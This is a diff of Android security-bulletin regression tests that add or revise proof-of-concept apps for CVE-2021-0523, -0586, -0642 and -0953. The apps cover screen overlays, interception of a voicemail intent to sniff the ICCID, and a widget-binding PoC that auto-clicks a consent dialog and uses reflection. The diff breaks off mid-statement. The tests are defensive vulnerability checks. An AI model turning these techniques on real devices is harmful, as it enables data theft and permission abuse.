diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb..9b013b8 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -84,9 +84,8 @@
     private void showFloatingWindow() {
         if (Settings.canDrawOverlays(this)) {
             mButton = new Button(getApplicationContext());
-            mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+            mButton.setText(getResources().getString(R.string.overlay_button));
             mWindowManager.addView(mButton, mLayoutParams);
-            mButton.setOnTouchListener(new FloatingOnTouchListener());
             new Handler().postDelayed(new Runnable() {
                 @Override
                 public void run() {
@@ -96,25 +95,4 @@
             mButton.setTag(mButton.getVisibility());
         }
     }
-
-    private static class FloatingOnTouchListener implements View.OnTouchListener {
-
-        @Override
-        public boolean onTouch(View view, MotionEvent event) {
-            view.setDrawingCacheEnabled(true);
-            view.buildDrawingCache();
-            Bitmap bitmap = view.getDrawingCache();
-            int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
-            int red = Color.red(pixel);
-            int green = Color.green(pixel);
-            int blue = Color.blue(pixel);
-            view.setDrawingCacheEnabled(false);
-            if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
-                throw new RuntimeException(
-                    "Device is vulnerable to b/174047492 hence any app with " +
-                    "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
-            }
-            return false;
-        }
-    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10..3ffb7df 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
 
 package android.security.cts.cve_2021_0586;
 
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.Uri;
+
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.By;
 import androidx.test.uiautomator.BySelector;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.util.regex.Pattern;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
 
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
-    private static final String TEST_PKG_BT = "com.android.settings";
     private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private Pattern overlayTextPattern;
     private UiDevice mDevice;
     String activityDump = "";
 
@@ -68,26 +72,29 @@
         final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
         assertNotNull(intent);
         intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
         /* Start the launcher activity */
         context.startActivity(intent);
-        Pattern pattern = Pattern.compile(
+        overlayTextPattern = Pattern.compile(
                 getApplicationContext().getResources().getString(R.string.overlay_button),
                 Pattern.CASE_INSENSITIVE);
-        /* Wait for the overlay window */
-        if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
-            return;
-        }
-        /* Start the DevicePickerActivity */
-        startDevicePickerActivity();
     }
 
     @Test
     public void testOverlayButtonPresence() {
-        BySelector selector = By.pkg(TEST_PKG_BT);
-        /* Wait for an object of DevicePickerActivity */
-        if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+        /* Wait for the overlay window */
+        if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
             return;
         }
+
+        /* Start the DevicePickerActivity */
+        startDevicePickerActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
+            return;
+        }
+
         /* Check if the currently running activity is DevicePickerActivity */
         try {
             activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@
         if (!activityPattern.matcher(activityDump).find()) {
             return;
         }
+
+        /* Failing the test as fix is not present */
         String message = "Device is vulnerable to b/182584940 hence any app with "
                 + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
-        assertNotNull(message, mDevice.findObject(selector));
+        fail(message);
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
new file mode 100644
index 0000000..770b5a2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+    name: "CVE-2021-0642",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 0000000..fadda57
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.cve_2021_0642"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0642"
+        android:supportsRtl="true">
+
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 0000000..8fc235b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    static final String APP_TITLE = "CVE-2021-0642";
+    static final String PACKAGE_NAME = "com.android.phone";
+    static final int LAUNCH_TIMEOUT_MS = 20000;
+
+    @Test
+    public void testCVE_2021_0642() {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        Context context = getApplicationContext();
+        assertThat(context, notNullValue());
+        PackageManager packageManager = context.getPackageManager();
+        assertThat(packageManager, notNullValue());
+        assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+        final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Check if "com.android.phone" exists on the system
+        try {
+            packageManager.getPackageUid(PACKAGE_NAME, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            assumeNoException(e);
+        }
+
+        // Wait for activity (which is part of package "com.android.phone") that
+        // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+        boolean isVoicemailVisible =
+                device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+        // To check if PocActivity was launched
+        BySelector selector = By.enabled(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        boolean isPocActivityVisible = false;
+        for (UiObject2 o : objects) {
+            String visibleText = o.getText();
+            if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+                isPocActivityVisible = true;
+                break;
+            }
+        }
+        device.pressHome();
+
+        assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+        String outputMsg = "Device is vulnerable to b/185126149 "
+                + "hence sensitive Iccid could be sniffed by intercepting "
+                + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+        assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 0000000..1a335c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
new file mode 100644
index 0000000..c458976
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-0953",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 0000000..ddc942f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0953"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-0953"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".PocVulnerableActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.action.WEB_SEARCH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 0000000..13651bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 0000000..2d3268b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/pocVulnerableActivity"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 0000000..c027ecf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumption_failure">-1</integer>
+    <integer name="pass">0</integer>
+    <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 0000000..6998865
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="callback_key">testMutablePendingIntentCallback</string>
+    <string name="message_key">testMutablePendingIntentMessage</string>
+    <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 0000000..ee5dac6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    public static final int TIMEOUT_SEC = 20;
+    public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+    @Test
+    public void testMutablePendingIntent() {
+        final Context context = getApplicationContext();
+        PocStatus status = new PocStatus();
+        CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+        RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+            PocStatus pocStatus = new PocStatus();
+            pocStatus.setErrorMessage(
+                    result.getString(context.getResources().getString(R.string.message_key)));
+            pocStatus.setStatusCode(
+                    result.getInt(context.getResources().getString(R.string.status_key)));
+            callbackReturn.complete(pocStatus);
+        });
+        launchActivity(PocActivity.class, cb); // start activity with callback
+        try {
+            // blocking while the remotecallback is unset
+            status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+        } catch (InterruptedException | ExecutionException | TimeoutException e) {
+            assumeNoException(e);
+        }
+        assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+                .getInteger(R.integer.assumption_failure));
+        assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+                context.getResources().getInteger(R.integer.fail));
+    }
+
+    private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+        final Context context = getApplicationContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(TEST_PACKAGE, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+        context.startActivity(intent);
+    }
+
+    private class PocStatus {
+        private int statusCode;
+        private String errorMessage;
+
+        public void setStatusCode(int status) {
+            statusCode = status;
+        }
+
+        public void setErrorMessage(String message) {
+            errorMessage = message;
+        }
+
+        public int getStatusCode() {
+            return statusCode;
+        }
+
+        public String getErrorMessage() {
+            return errorMessage;
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 0000000..3684cbe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,253 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+    public static int APPWIDGET_ID;
+    public static int REQUEST_BIND_APPWIDGET = 0;
+    public static final int TIMEOUT_MS = 10000;
+
+    Class mClRemoteViews;
+    Field mActions, mResponse, mFldPendingIntent;
+    Method mGetDeclaredField;
+    Object mObjSetOnClickResponse;
+    PendingIntent mPendingIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        AppWidgetHost appWidgetHost;
+        AppWidgetManager appWidgetManager;
+        PocActivity pocActivity = PocActivity.this;
+        appWidgetManager = AppWidgetManager.getInstance(this);
+        appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+        APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+        Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+        intent.putExtra("appWidgetId", APPWIDGET_ID);
+        intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+                "com.android.quicksearchbox.SearchWidgetProvider"));
+        PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+        String settingsPkgName = "";
+        PackageManager pm = getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        for (ResolveInfo ri : ris) {
+            if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+                settingsPkgName = ri.activityInfo.packageName;
+            }
+        }
+        if (settingsPkgName.equals("")) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Settings package not found/AllowBindAppWidgetActivity not found");
+            return;
+        }
+        if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to start AllowBindAppWidgetActivity");
+            return;
+        }
+        boolean buttonClicked = false;
+        BySelector selector = By.clickable(true);
+        List<UiObject2> objects = device.findObjects(selector);
+        for (UiObject2 object : objects) {
+            String objectText = object.getText();
+            String objectClass = object.getClassName();
+            if (objectText == null) {
+                continue;
+            }
+            if (objectText.equalsIgnoreCase("CREATE")) {
+                object.click();
+                buttonClicked = true;
+                break;
+            }
+        }
+        if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "'Create' button not found/clicked");
+            return;
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        PocActivity pocActivity = PocActivity.this;
+        if (requestCode == REQUEST_BIND_APPWIDGET) {
+            if (resultCode == -1) {
+                APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+            }
+        }
+        RemoteViews remoteViews =
